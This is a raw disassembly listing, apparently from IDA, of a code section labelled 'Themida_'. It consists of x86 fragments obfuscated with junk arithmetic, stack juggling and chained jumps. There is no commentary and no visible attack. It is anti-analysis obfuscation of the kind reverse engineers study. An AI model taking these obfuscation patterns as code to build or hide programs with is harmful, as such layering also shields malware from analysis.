; ---------------------------------------------------------------------------
loc_5A4F0B: ; CODE XREF: Themida_:0059B291j
jns loc_5A9DE2
not eax
add eax, 0CE517951h
push 0
neg byte ptr [esp]
pushf
jmp loc_59A12E
; ---------------------------------------------------------------------------
loc_5A4F26: ; CODE XREF: Themida_:005A3BF9j
push 4
pop esi
add edx, 39F17F73h
push eax
jmp loc_5A0E9D
; ---------------------------------------------------------------------------
loc_5A4F38: ; CODE XREF: Themida_:loc_59B19Ej
not eax
add eax, 0FABAD2CDh
jmp loc_5AEE18
; ---------------------------------------------------------------------------
loc_5A4F44: ; CODE XREF: Themida_:005A62D4j
; Themida_:005AF518j
push ecx
mov ecx, esp
push ebx
mov ebx, 5119596Eh
sub ebx, 73DF4281h
jmp loc_59C9FA
; ---------------------------------------------------------------------------
loc_5A4F58: ; CODE XREF: Themida_:005A44F6j
sub ebp, edx
add ebp, 746A7FBDh
jmp loc_59EC1F
; ---------------------------------------------------------------------------
loc_5A4F65: ; CODE XREF: Themida_:005AAF92j
neg edx
jbe loc_5A2CFB
push eax
mov eax, 590C6F83h
neg eax
push ecx
mov ah, bl
mov cl, al
loc_5A4F7A: ; CODE XREF: Themida_:loc_5AAEB1j
jmp loc_5A7586
; ---------------------------------------------------------------------------
loc_5A4F7F: ; CODE XREF: Themida_:005A0F2Dj
push eax
mov eax, 1D0754A8h
shl eax, 2
push ebx
jmp loc_5AC82D
; ---------------------------------------------------------------------------
loc_5A4F8E: ; CODE XREF: Themida_:005AE83Fj
sub ebx, 37A52391h
push edi
mov edi, 2D74210Ah
jmp loc_5A18DC
; ---------------------------------------------------------------------------
loc_5A4F9F: ; CODE XREF: Themida_:005A111Aj
mov dl, bl
mov ebx, [esp]
add esp, 4
mov cl, dl
pop edx
shr cl, 6
push eax
jmp loc_5A34E2
; ---------------------------------------------------------------------------
loc_5A4FB6: ; CODE XREF: Themida_:005A6675j
; Themida_:005A7BB4j
add [esp+4], ebp
mov ebp, [esp]
jmp loc_5A7D04
; ---------------------------------------------------------------------------
loc_5A4FC2: ; CODE XREF: Themida_:005A4A8Fj
jns loc_5A1659
not eax
add eax, 0CE517951h
mov al, bl
mov bh, ah
loc_5A4FD3: ; CODE XREF: Themida_:005A639Ej
add edx, 4ADE1496h
push dword ptr [esp]
pop ebx
add esp, 4
add edx, edi
push ebx
push eax
push 2CFF4423h
mov eax, [esp]
jmp loc_5A437F
; ---------------------------------------------------------------------------
mov cx, [esp]
push 3CB5h
jmp loc_5A67C2
; ---------------------------------------------------------------------------
loc_5A5002: ; CODE XREF: Themida_:0059B1DEj
push 0A73h
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 278B1600h
sub eax, 278B15FCh
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_598BA8
; ---------------------------------------------------------------------------
loc_5A5027: ; CODE XREF: Themida_:005AA21Aj
mov ebp, [esp]
add esp, 4
xchg edi, [esp]
mov esp, [esp]
push ebp
jmp loc_5AAD86
; ---------------------------------------------------------------------------
loc_5A5039: ; CODE XREF: Themida_:005A2379j
inc bl
jge loc_5A3A91
or bl, 3Bh
add bl, 0F8h
jmp loc_5AF329
; ---------------------------------------------------------------------------
loc_5A504C: ; CODE XREF: Themida_:005AAEB7j
add ecx, 70359D1Ch
and edi, ecx
pop ecx
push eax
push 0FFFFFFFFh
mov eax, [esp]
add esp, 4
add edi, eax
jmp loc_5A5D78
; ---------------------------------------------------------------------------
loc_5A5068: ; CODE XREF: Themida_:005A0EC5j
add esp, 2
push small 30C4h
mov [esp], dx
push ecx
push eax
mov ah, 11h
jmp loc_5A72E8
; ---------------------------------------------------------------------------
loc_5A507F: ; CODE XREF: Themida_:005A3993j
push dword ptr [esp]
pop edi
push eax
mov eax, esp
add eax, 4
push 0F3Eh
mov [esp], edi
mov edi, 4
jmp loc_5A38D7
; ---------------------------------------------------------------------------
loc_5A509D: ; CODE XREF: Themida_:005A727Fj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push 400Ah
mov [esp], ebp
jmp loc_5A4D6D
; ---------------------------------------------------------------------------
loc_5A50BC: ; CODE XREF: Themida_:0059B82Ej
mov ebx, [esp]
add esp, 4
sub edx, 2E034361h
add edx, edi
push eax
jmp loc_5AB972
; ---------------------------------------------------------------------------
loc_5A50D3: ; CODE XREF: Themida_:0059C705j
sub eax, 2F31649Ch
jmp loc_5AA8F2
; ---------------------------------------------------------------------------
loc_5A50DD: ; CODE XREF: Themida_:005A48D6j
jmp loc_5A3093
; ---------------------------------------------------------------------------
loc_5A50E2: ; CODE XREF: Themida_:005AC839j
sub ebx, 0FFFFFFFFh
neg ebx
or ebx, 157504CFh
xor ebx, 0F4EB814Eh
sub eax, ebx
mov ebx, [esp]
add esp, 4
add edx, eax
mov eax, [esp]
add esp, 4
shr edx, 5
push ebp
jmp loc_5A4C4A
; ---------------------------------------------------------------------------
loc_5A510F: ; CODE XREF: Themida_:005A7FBDj
mov [esp], eax
push esp
mov eax, [esp]
add esp, 4
push 9FBh
mov [esp], esi
push 67DC5EB6h
pop esi
shl esi, 5
jmp loc_59C2DA
; ---------------------------------------------------------------------------
loc_5A5132: ; CODE XREF: Themida_:005ACD16j
sub al, 64h
sub al, dl
push dx
mov dh, 64h
add al, dh
jmp loc_5A1999
; ---------------------------------------------------------------------------
loc_5A5141: ; CODE XREF: Themida_:00599D46j
mov esi, edx
pop edx
jmp loc_59F3F3
; ---------------------------------------------------------------------------
loc_5A5149: ; CODE XREF: Themida_:0059D265j
push edx
mov dh, al
mov ch, dh
push dword ptr [esp]
pop edx
add esp, 4
not ch
mov al, ch
pop ecx
xchg al, dl
add dl, 0FFh
add dl, 0Bh
sub bl, 6Bh
jmp loc_5A1049
; ---------------------------------------------------------------------------
loc_5A516D: ; CODE XREF: Themida_:0059D9CFj
push edx
jmp loc_5AD863
; ---------------------------------------------------------------------------
loc_5A5173: ; CODE XREF: Themida_:005A6533j
neg esi
xor esi, 565064D7h
jnp loc_59F970
jmp loc_5A6BDC
; ---------------------------------------------------------------------------
loc_5A5186: ; CODE XREF: Themida_:0059C2E3j
not ebp
xchg eax, ebp
xchg eax, ebp
push esi
push ebp
pop esi
pop ebp
shl esi, 2
add esi, 0EE2F5B08h
add eax, esi
push dword ptr [esp]
pop esi
add esp, 4
push edi
mov edi, 2
add eax, edi
mov edi, [esp]
push ebp
mov ebp, esp
push 1998h
jmp loc_5997C0
; ---------------------------------------------------------------------------
loc_5A51B8: ; CODE XREF: Themida_:005AA192j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 40000h
and eax, ebp
mov ebp, [esp]
push eax
push esp
pop eax
jmp loc_5A99EA
; ---------------------------------------------------------------------------
loc_5A51D9: ; CODE XREF: Themida_:005AE803j
; Themida_:005AEA69j
add al, 0E7h
mov dl, al
jmp loc_5A71C0
; ---------------------------------------------------------------------------
loc_5A51E2: ; CODE XREF: Themida_:005A6D1Bj
; Themida_:005AC577j
xor eax, 326D2CECh
xor ebp, eax
jmp loc_5A3150
; ---------------------------------------------------------------------------
loc_5A51EE: ; CODE XREF: Themida_:005A02AAj
; Themida_:005A065Cj
shr edx, 3
xor edx, 89E7F4Fh
jnz loc_5AD063
and edx, 77B50859h
jz loc_59F7C5
shr edx, 1
loc_5A520B: ; CODE XREF: Themida_:0059C2D5j
; Themida_:0059FEF7j
push 4
pop ecx
add ebp, ecx
pop ecx
push ebx
push edi
mov edi, 18404161h
xor edi, 18404163h
mov ebx, edi
pop edi
add ebp, ebx
pop ebx
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_5AE5D3
; ---------------------------------------------------------------------------
loc_5A5236: ; CODE XREF: Themida_:005A7B95j
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
shr eax, 0Ah
xor eax, ecx
jmp loc_5A4993
; ---------------------------------------------------------------------------
loc_5A5252: ; CODE XREF: Themida_:005A6ABBj
mov ecx, 581747E3h
xor ecx, 486B6AA1h
sub edi, ecx
pop ecx
push esi
mov esi, 69E19F9h
add edi, esi
push dword ptr [esp]
pop esi
add esp, 4
add edi, edx
jmp loc_59D5DA
; ---------------------------------------------------------------------------
loc_5A5279: ; CODE XREF: Themida_:0059F373j
mov edx, 0C930B957h
add edi, 7F4D7FA1h
jmp loc_5A3749
; ---------------------------------------------------------------------------
loc_5A5289: ; CODE XREF: Themida_:005AAAB7j
mov ebx, 4
push ebp
jmp loc_59F312
; ---------------------------------------------------------------------------
loc_5A5294: ; CODE XREF: Themida_:005A3E3Dj
xor ecx, eax
pop eax
push esi
jmp loc_5ACF34
; ---------------------------------------------------------------------------
loc_5A529D: ; CODE XREF: Themida_:005A1448j
mov fs:[edx], ax
jmp loc_5A7A95
; ---------------------------------------------------------------------------
loc_5A52A6: ; CODE XREF: Themida_:005A0251j
mov dh, ch
pop ecx
jmp loc_5A4946
; ---------------------------------------------------------------------------
loc_5A52AE: ; DATA XREF: Themida_:00598840o
lodsd
cmp dword ptr [edi+20h], 0
jz loc_5AC124
push edx
mov edx, 6EF32A51h
jmp loc_5ADFCC
; ---------------------------------------------------------------------------
loc_5A52C4: ; CODE XREF: Themida_:00599CFBj
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_59E512
; ---------------------------------------------------------------------------
loc_5A52D2: ; CODE XREF: Themida_:005AD8CBj
push 624B26FBh
mov eax, [esp]
add esp, 4
add edx, eax
mov eax, [esp]
push ecx
jmp loc_5ADCDA
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 351Ah
jmp loc_5ACA71
; ---------------------------------------------------------------------------
loc_5A530F: ; CODE XREF: Themida_:005AFDBEj
mov edx, 2
add ebp, edx
pop edx
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 217Ch
mov [esp], ebx
mov ebx, 0
push eax
jmp loc_5AA448
; ---------------------------------------------------------------------------
loc_5A533E: ; CODE XREF: Themida_:005A99F2j
mov ecx, 192A02E1h
or ecx, 13830FFAh
push ebp
push ecx
mov ecx, 31E03419h
mov ebp, ecx
pop ecx
xor ebp, 1B5D1456h
jmp loc_5A89B1
; ---------------------------------------------------------------------------
loc_5A535E: ; CODE XREF: Themida_:0059A40Cj
add eax, 2EA639B1h
push edi
push ebp
sub esp, 4
mov [esp], eax
push ebx
mov ebx, 1B1A1FF3h
mov eax, ebx
jmp loc_59E9B2
; ---------------------------------------------------------------------------
loc_5A5378: ; CODE XREF: Themida_:005AF6D3j
add dword ptr [esp], 50196C61h
pop eax
push ebx
jmp loc_5AD0B2
; ---------------------------------------------------------------------------
loc_5A5386: ; CODE XREF: Themida_:005A3772j
mov edi, ebp
mov ebp, [esp]
push edx
push esp
pop edx
add edx, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
jmp loc_59ADB5
; ---------------------------------------------------------------------------
loc_5A53A7: ; CODE XREF: Themida_:005A821Ej
add ecx, 4
sub ecx, 2
jmp loc_5A8AC3
; ---------------------------------------------------------------------------
loc_5A53B8: ; CODE XREF: Themida_:005A464Fj
dec edx
push 1526h
mov [esp], edx
not dword ptr [esp]
pop edx
push ebx
jmp loc_59C3EA
; ---------------------------------------------------------------------------
loc_5A53CB: ; CODE XREF: Themida_:005AEC7Dj
push 59Ah
mov [esp], eax
push ebx
mov ebx, 795E50FAh
mov eax, ebx
pop ebx
and eax, 5B534AE0h
jmp loc_5A5898
; ---------------------------------------------------------------------------
loc_5A53E6: ; CODE XREF: Themida_:005A9AF6j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A2A16
; ---------------------------------------------------------------------------
loc_5A53F4: ; CODE XREF: Themida_:005AC3AFj
mov ebx, 6C166766h
jmp loc_5A9640
; ---------------------------------------------------------------------------
loc_5A53FE: ; CODE XREF: Themida_:0059C46Fj
sub edi, ebx
jmp loc_5A3741
; ---------------------------------------------------------------------------
loc_5A5405: ; CODE XREF: Themida_:00598CEDj
mov [esp], eax
jmp loc_5A0158
; ---------------------------------------------------------------------------
loc_5A540D: ; CODE XREF: Themida_:005A3218j
add esp, 4
jmp loc_5AB815
; ---------------------------------------------------------------------------
loc_5A5415: ; CODE XREF: Themida_:loc_5A0756j
shl edx, 3
jz loc_5AA60D
push ebx
jmp loc_59DE40
; ---------------------------------------------------------------------------
loc_5A5424: ; CODE XREF: Themida_:0059C8CCj
add ebp, 4
push 7276h
mov [esp], ecx
push 57A4h
mov [esp], edx
jmp loc_59ADF6
; ---------------------------------------------------------------------------
loc_5A543F: ; CODE XREF: Themida_:loc_5A5A45j
sub esp, 4
mov [esp], eax
mov al, 0C0h
neg al
jmp loc_5ACCE6
; ---------------------------------------------------------------------------
loc_5A5451: ; CODE XREF: Themida_:0059E484j
sub ebp, 37747F73h
jmp loc_5A11FF
; ---------------------------------------------------------------------------
loc_5A545C: ; CODE XREF: Themida_:005AE99Bj
push dword ptr [esp]
pop ebp
add esp, 4
push edx
push esp
pop edx
push eax
mov eax, 4C9B70B3h
jmp loc_59952D
; ---------------------------------------------------------------------------
loc_5A5471: ; CODE XREF: Themida_:005A2DBAj
dec esi
add esi, 7F475EFEh
jmp loc_5A5BE8
; ---------------------------------------------------------------------------
loc_5A547D: ; CODE XREF: Themida_:005AF0AAj
sub ebx, esi
sub ebx, 2526775Bh
pop esi
add ebx, 2FFB43D3h
add ebx, 0F199CF22h
add edx, ebx
pop ebx
jmp loc_5A4962
; ---------------------------------------------------------------------------
loc_5A549A: ; CODE XREF: Themida_:005A283Fj
jns loc_5AB364
add esi, 21BD7600h
jmp loc_5A01EE
; ---------------------------------------------------------------------------
loc_5A54AB: ; CODE XREF: Themida_:005AF280j
mov [esp], edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov [esp], edx
jmp loc_59C756
; ---------------------------------------------------------------------------
loc_5A54BF: ; CODE XREF: Themida_:005A0935j
pop esp
mov [esp], ebp
jmp loc_5AA704
; ---------------------------------------------------------------------------
loc_5A54C8: ; CODE XREF: Themida_:005A71CCj
sub cl, 0EDh
and dl, cl
pop ecx
push ecx
sub esp, 4
mov [esp], eax
mov al, dl
mov ch, al
jmp loc_59E126
; ---------------------------------------------------------------------------
loc_5A54E1: ; CODE XREF: Themida_:005AD9BCj
and ebp, 2F0D1201h
jmp loc_5AD3CE
; ---------------------------------------------------------------------------
loc_5A54EC: ; CODE XREF: Themida_:005A745Ej
mov ebx, edx
jmp loc_5997C0
; ---------------------------------------------------------------------------
loc_5A54F3: ; CODE XREF: Themida_:005AD7F3j
sub dh, bl
pop bx
jmp loc_59D968
; ---------------------------------------------------------------------------
loc_5A54FC: ; CODE XREF: Themida_:0059EAFCj
; Themida_:005A2540j
add ebp, 0FFFFFFFFh
inc ebp
sub ebp, 1
jmp loc_59B5C8
; ---------------------------------------------------------------------------
loc_5A550B: ; CODE XREF: Themida_:0059C723j
sub ebx, 58142D19h
sub ebx, 70101621h
push 40EBh
mov [esp], eax
jmp loc_59997C
; ---------------------------------------------------------------------------
loc_5A5524: ; CODE XREF: Themida_:005A7FFFj
push eax
jmp loc_5A8B16
; ---------------------------------------------------------------------------
loc_5A552A: ; CODE XREF: Themida_:005AD7D4j
sub ecx, 1
push edx
push ecx
mov ecx, 158C058Dh
dec ecx
jmp loc_5A1C78
; ---------------------------------------------------------------------------
loc_5A553D: ; CODE XREF: Themida_:005990ACj
sub ebx, 58D5807Ah
sub ebp, ebx
jmp loc_5A4B23
; ---------------------------------------------------------------------------
loc_5A554A: ; CODE XREF: Themida_:0059CD11j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A8620
; ---------------------------------------------------------------------------
loc_5A555F: ; CODE XREF: Themida_:0059D0C9j
xor esi, 105422ABh
sub ebp, 498E54D3h
add ebp, esi
push eax
mov eax, 498E54D3h
jmp loc_5AA254
; ---------------------------------------------------------------------------
loc_5A5578: ; CODE XREF: Themida_:005A08F9j
; Themida_:005A1A3Cj
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
pop dword ptr [esp]
pop esp
dec dword ptr [esp]
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A5598: ; CODE XREF: Themida_:005A0A94j
add dword ptr [esp+4], 36B6653h
push edx
mov edx, 413F0848h
add dword ptr [esp+8], 5B8C0D3Ch
sub [esp+8], edx
sub dword ptr [esp+8], 5B8C0D3Ch
pop edx
mov eax, [esp]
push edi
mov edi, esp
push eax
mov eax, 1D92135Ah
xor eax, 1D92135Eh
add edi, eax
pop eax
jmp loc_5A6B15
; ---------------------------------------------------------------------------
loc_5A55D4: ; CODE XREF: Themida_:005AB83Aj
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A03C9
; ---------------------------------------------------------------------------
loc_5A55EB: ; CODE XREF: Themida_:005A2D11j
xor ecx, 253883B5h
sub eax, ecx
pop ecx
xor edx, eax
pop eax
and eax, edx
jmp loc_5AC104
; ---------------------------------------------------------------------------
loc_5A55FE: ; CODE XREF: Themida_:005A0E23j
add eax, 0C8E3C7Eh
pop ebx
sub eax, 4
xchg eax, [esp]
jmp loc_5A7152
; ---------------------------------------------------------------------------
loc_5A560F: ; CODE XREF: Themida_:005A5A4Dj
; Themida_:005AD4DCj
add esp, 4
inc ecx
jle loc_5A764E
jmp loc_59A37D
; ---------------------------------------------------------------------------
loc_5A561E: ; CODE XREF: Themida_:0059BAD5j
push esp
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push edx
mov edx, 4
add esi, edx
jmp loc_5A3CEA
; ---------------------------------------------------------------------------
loc_5A5640: ; CODE XREF: Themida_:005A1BE9j
; Themida_:005A21A5j
dec eax
jmp loc_5AEE4F
; ---------------------------------------------------------------------------
loc_5A5646: ; CODE XREF: Themida_:005AC3CCj
mov esp, [esp]
mov cx, [esp]
push 1EB6h
mov [esp], esi
jmp loc_59A8D7
; ---------------------------------------------------------------------------
loc_5A565A: ; CODE XREF: Themida_:0059B3D9j
pop eax
jmp loc_59A2AA
; ---------------------------------------------------------------------------
loc_5A5660: ; CODE XREF: Themida_:0059B1C0j
mov edx, 4
add ebx, edx
pop edx
jmp loc_59A1F2
; ---------------------------------------------------------------------------
loc_5A566D: ; CODE XREF: Themida_:005A5E17j
mov eax, [esp]
push ebp
mov ebp, esp
jmp loc_59D626
; ---------------------------------------------------------------------------
loc_5A5678: ; CODE XREF: Themida_:loc_5A1BC7j
xor ah, 0CBh
jns loc_5A942F
push edx
jmp loc_5A6557
; ---------------------------------------------------------------------------
xor ebx, 4D689287h
add al, 68h
loc_5A568F: ; CODE XREF: Themida_:005AE5FEj
add dword ptr [esp], 4
jmp loc_5AD8D0
; ---------------------------------------------------------------------------
loc_5A569B: ; CODE XREF: Themida_:005AF685j
mov [esp], esi
push edi
jmp loc_5A5F3B
; ---------------------------------------------------------------------------
loc_5A56A4: ; CODE XREF: Themida_:005AAD60j
sub ecx, 47EA89E4h
push ebp
mov ebp, 225615A9h
not ebp
jmp loc_5A75F9
; ---------------------------------------------------------------------------
loc_5A56B7: ; CODE XREF: Themida_:0059C751j
push ecx
pop ebp
pop ecx
jmp loc_5AD1B4
; ---------------------------------------------------------------------------
loc_5A56BF: ; CODE XREF: Themida_:005A44A8j
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
test cl, al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A56D3: ; CODE XREF: Themida_:005AD23Cj
neg edx
xchg edx, ecx
add ecx, 18D1240Fh
jmp loc_5A6284
; ---------------------------------------------------------------------------
loc_5A56E2: ; CODE XREF: Themida_:0059D8BAj
pop esi
push esi
mov esi, 59D00A5Ch
push 0
jmp loc_5A3E96
; ---------------------------------------------------------------------------
loc_5A56F3: ; CODE XREF: Themida_:005A083Fj
pop edi
push esi
mov esi, 1B2275E7h
jmp loc_5A87A2
; ---------------------------------------------------------------------------
loc_5A56FF: ; CODE XREF: Themida_:0059FD5Fj
push 4A8C30B1h
pop esi
not esi
push edi
jmp loc_5A87FC
; ---------------------------------------------------------------------------
loc_5A570D: ; CODE XREF: Themida_:005A038Fj
mov ebx, ebp
pop ebp
push ecx
push ebx
add dword ptr [esp], 4CCE070Ch
pop ecx
jmp loc_5A6ECE
; ---------------------------------------------------------------------------
byte_5A571F db 66h ; DATA XREF: Themida_:00598710o
dd 68240C8Bh, 41CEh, 68241C89h, 0E64h, 0FF7672E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5A5735: ; CODE XREF: Themida_:005AA648j
push 0D55h
mov [esp], ebx
jmp loc_5A231F
; ---------------------------------------------------------------------------
loc_5A5742: ; CODE XREF: Themida_:0059C1D9j
shr edi, 5
jnz loc_59DC22
push ebp
jmp loc_59BC70
; ---------------------------------------------------------------------------
mov eax, [esp]
mov bl, dh
push dword ptr [esp]
pop eax
jmp loc_59CD16
; ---------------------------------------------------------------------------
loc_5A575F: ; CODE XREF: Themida_:005A75FBj
or edi, 152627D7h
jmp loc_5A3D85
; ---------------------------------------------------------------------------
loc_5A576A: ; CODE XREF: Themida_:005A6A05j
sub esp, 4
mov [esp], ebx
push ecx
mov ecx, 4833135Dh
not ecx
jmp loc_5A02BA
; ---------------------------------------------------------------------------
loc_5A577D: ; CODE XREF: Themida_:005A6B10j
push edi
mov edi, 2D907C39h
shr edi, 4
add edi, 9E7E9E31h
jmp loc_59C8D8
; ---------------------------------------------------------------------------
loc_5A5791: ; CODE XREF: Themida_:0059A85Dj
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push dword ptr [esp]
pop eax
push edx
sub esp, 4
mov [esp], esp
push eax
jmp loc_5AED83
; ---------------------------------------------------------------------------
loc_5A57B3: ; CODE XREF: Themida_:0059B53Bj
mov ebp, 549145B8h
xor ebp, 59FD4E1Ah
push ecx
mov ecx, 49F655E8h
shr ecx, 6
xor ecx, 6645A0F8h
jmp loc_5A3E42
; ---------------------------------------------------------------------------
loc_5A57D2: ; CODE XREF: Themida_:005AAEC7j
push esi
mov esi, eax
push esi
pop ebp
mov esi, [esp]
add esp, 4
jmp loc_59CA81
; ---------------------------------------------------------------------------
loc_5A57E2: ; CODE XREF: Themida_:005A6A6Fj
pop esp
movsx ecx, ax
sub esp, 4
mov [esp], ecx
sub esp, 4
jmp loc_599C44
; ---------------------------------------------------------------------------
loc_5A57FA: ; CODE XREF: Themida_:005A65CEj
add bh, al
pop eax
or ch, bh
jmp loc_5A1796
; ---------------------------------------------------------------------------
loc_5A5804: ; CODE XREF: Themida_:005A49D9j
shl edx, 3
jmp loc_5AB026
; ---------------------------------------------------------------------------
loc_5A580C: ; CODE XREF: Themida_:0059D1C2j
push eax
jmp loc_59ACE8
; ---------------------------------------------------------------------------
loc_5A5812: ; CODE XREF: Themida_:005ACB45j
add ebx, edi
pop edi
push 3EEBh
jmp loc_5A2C6C
; ---------------------------------------------------------------------------
loc_5A581F: ; CODE XREF: Themida_:005A91C4j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
sub esi, 1FE91078h
sub esi, 8B3749Ah
add esi, 40D96C98h
sub esi, 68AB291Ah
sub esi, 214B200Ah
jmp loc_5A1F2B
; ---------------------------------------------------------------------------
loc_5A5854: ; CODE XREF: Themida_:005AB3D6j
sub esp, 4
jmp loc_5AFD8F
; ---------------------------------------------------------------------------
loc_5A585F: ; CODE XREF: Themida_:005AE66Aj
pop eax
push 244h
mov [esp], eax
sub esp, 4
mov [esp], esi
mov esi, 10C5782Eh
mov eax, 10C57830h
sub eax, esi
pop esi
add esi, eax
push dword ptr [esp]
pop eax
add esp, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_5AAEF9
; ---------------------------------------------------------------------------
loc_5A5898: ; CODE XREF: Themida_:005A53E1j
push esi
push eax
mov eax, 673F5978h
or eax, 3BE01680h
xor eax, 66888EC0h
mov esi, eax
pop eax
sub eax, esi
mov esi, [esp]
add esp, 4
add edi, eax
mov eax, [esp]
add esp, 4
add edi, ecx
sub edi, 3FDA6FA8h
pop ecx
xchg edi, [esp]
jmp loc_59E1BE
; ---------------------------------------------------------------------------
loc_5A58D0: ; CODE XREF: Themida_:0059ADB0j
mov edx, 43327ECAh
inc edx
jmp loc_5A42CB
; ---------------------------------------------------------------------------
loc_5A58DB: ; CODE XREF: Themida_:0059C96Aj
pop esp
mov eax, ecx
push dword ptr [esp]
pop ecx
jmp loc_59B8D8
; ---------------------------------------------------------------------------
loc_5A58E7: ; CODE XREF: Themida_:00598B8Bj
; Themida_:005AC4AAj
sub ebp, 458AA4F4h
sub ecx, ebp
pop ebp
sub edx, ecx
jmp loc_5AD3BB
; ---------------------------------------------------------------------------
loc_5A58F7: ; CODE XREF: Themida_:005A2815j
shl ebx, 7
jmp loc_5A4A00
; ---------------------------------------------------------------------------
loc_5A58FF: ; CODE XREF: Themida_:0059DBAEj
xor esi, 7C88B834h
add eax, esi
pop esi
push ebx
mov ebx, 12A712A8h
neg ebx
inc ebx
jmp loc_5AD65B
; ---------------------------------------------------------------------------
loc_5A5916: ; CODE XREF: Themida_:0059D3E2j
add esp, 4
jmp loc_5A13F6
; ---------------------------------------------------------------------------
loc_5A5921: ; CODE XREF: Themida_:0059A7ADj
pop ebp
shl esi, 5
jmp loc_5A48EE
; ---------------------------------------------------------------------------
loc_5A592A: ; CODE XREF: Themida_:00598E57j
add edi, 1
inc edi
sub edi, 0BA759ECh
sub edi, 1D9770Eh
sub edx, edi
pop edi
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A5942: ; CODE XREF: Themida_:0059CA82j
push ebp
add dword ptr [esp], 2C587319h
pop esi
sub esi, 2C587319h
mov ebp, [esp]
add esp, 4
sub edi, 297A0622h
jmp loc_5993BB
; ---------------------------------------------------------------------------
loc_5A5962: ; CODE XREF: Themida_:0059BEDEj
; Themida_:005A864Dj
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push ebp
mov ebp, 3CDD670Ch
shl ebp, 4
dec ebp
not ebp
jmp loc_5AC55A
; ---------------------------------------------------------------------------
loc_5A5985: ; CODE XREF: Themida_:0059932Bj
jl loc_5A7431
push ebx
mov ebx, 343D51B1h
shl ebx, 7
add ebx, 41DA3701h
jmp loc_59D3F9
; ---------------------------------------------------------------------------
loc_5A599F: ; CODE XREF: Themida_:005A06B6j
mov ebx, edx
mov edx, [esp]
add esp, 4
sub edx, 7E0B6392h
add edx, ebx
push ebp
mov ebp, 74F536E1h
not ebp
push esi
jmp loc_5AD7D9
; ---------------------------------------------------------------------------
loc_5A59C0: ; CODE XREF: Themida_:005A71BBj
mov bl, dl
push edx
mov dh, bl
push ebx
mov bl, dh
mov ch, bl
jmp loc_5A44C9
; ---------------------------------------------------------------------------
loc_5A59CF: ; CODE XREF: Themida_:005A8CEAj
mov edx, 194910A5h
mov ebp, edx
pop edx
or ebp, 2C756B6Dh
xor ebp, 2DD61A5Fh
xor ebp, 1A14D2E0h
push ecx
mov ecx, ebp
jmp loc_5AF9EF
; ---------------------------------------------------------------------------
loc_5A59F1: ; CODE XREF: Themida_:0059BE6Ej
add esi, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push edi
jmp loc_5A628B
; ---------------------------------------------------------------------------
loc_5A5A03: ; CODE XREF: Themida_:0059DC83j
pop ebp
xchg eax, [esp]
pop esp
pop dword ptr [esp]
jmp loc_5A260B
; ---------------------------------------------------------------------------
loc_5A5A10: ; CODE XREF: Themida_:005AADC0j
mov [esp], esi
mov esi, 63916B09h
sub esi, 43B871CDh
inc esi
push edi
mov edi, 4C551D72h
sub esi, edi
pop edi
shr esi, 5
push ecx
mov ecx, 13063A0Eh
shr ecx, 4
push esi
mov esi, 1BE64C9Bh
and esi, 18595D94h
jmp loc_5A6B5B
; ---------------------------------------------------------------------------
loc_5A5A45: ; CODE XREF: Themida_:005A0B56j
jmp loc_5A543F
; ---------------------------------------------------------------------------
loc_5A5A4A: ; CODE XREF: Themida_:0059FEA6j
shr edi, 7
jp loc_5A560F
sub edi, 88F251h
and eax, edi
mov edi, [esp]
jmp loc_5ACDF7
; ---------------------------------------------------------------------------
loc_5A5A63: ; CODE XREF: Themida_:005A1ABAj
mov ebx, 151A193Ah
xor ebx, 31104C6Eh
add ebx, 3660445h
shl ebx, 6
dec ebx
jmp loc_5A90A6
; ---------------------------------------------------------------------------
loc_5A5A7D: ; CODE XREF: Themida_:0059CAC9j
mov ebx, [esp]
add esp, 4
jmp loc_5A3AF5
; ---------------------------------------------------------------------------
loc_5A5A88: ; CODE XREF: Themida_:0059B111j
xchg edi, [esp]
jmp loc_5A88DB
; ---------------------------------------------------------------------------
loc_5A5A90: ; CODE XREF: Themida_:005A5F0Ej
; Themida_:005AFD6Dj
mov [esp], edi
jmp loc_5AC499
; ---------------------------------------------------------------------------
loc_5A5A98: ; CODE XREF: Themida_:005AF987j
mov esp, [esp]
push 47AAh
mov [esp], ecx
mov ecx, 66BD2E57h
push ebx
mov ebx, 10D771C3h
dec ebx
inc ebx
jmp loc_5A217F
; ---------------------------------------------------------------------------
loc_5A5AB5: ; CODE XREF: Themida_:005A4387j
xor eax, 6FF97FBAh
jmp loc_5A01B0
; ---------------------------------------------------------------------------
loc_5A5ABF: ; CODE XREF: Themida_:005A2E1Bj
; Themida_:005A8AD0j
mov bh, dl
jmp loc_5AE75C
